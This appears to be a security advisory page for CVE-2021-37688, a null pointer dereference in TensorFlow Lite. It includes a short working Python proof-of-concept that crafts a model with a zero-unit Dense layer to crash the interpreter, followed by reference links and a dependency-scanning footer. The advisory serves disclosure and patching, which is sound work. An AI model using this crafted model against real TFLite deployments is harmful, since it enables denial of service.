CVE-2021-37688: Null pointer dereference in TFLite
(updated )
An attacker can craft a TFLite model that would trigger a null pointer dereference, which would result in a crash and denial of service:
import tensorflow as tf
model = tf.keras.models.Sequential()
model.add(tf.keras.Input(shape=(1, 2, 3)))
model.add(tf.keras.layers.Dense(0, activation='relu'))
converter = tf.lite.TFLiteConverter.from_keras_model(model)
tflite_model = converter.convert()
interpreter = tf.lite.Interpreter(model_content=tflite_model)
interpreter.allocate_tensors()
interpreter.invoke()
References
- github.com/advisories/GHSA-vcjj-9vg7-vf68
- github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2021-601.yaml
- github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2021-799.yaml
- github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2021-310.yaml
- github.com/tensorflow/tensorflow
- github.com/tensorflow/tensorflow/blob/149562d49faa709ea80df1d99fc41d005b81082a/tensorflow/lite/kernels/internal/optimized/optimized_ops.h
- github.com/tensorflow/tensorflow/commit/15691e456c7dc9bd6be203b09765b063bf4a380c
- github.com/tensorflow/tensorflow/security/advisories/GHSA-vcjj-9vg7-vf68
- nvd.nist.gov/vuln/detail/CVE-2021-37688
Detect and mitigate CVE-2021-37688 with GitLab Dependency Scanning
Secure your software supply chain by verifying that all open source dependencies used in your projects contain no disclosed vulnerabilities. Learn more about Dependency Scanning →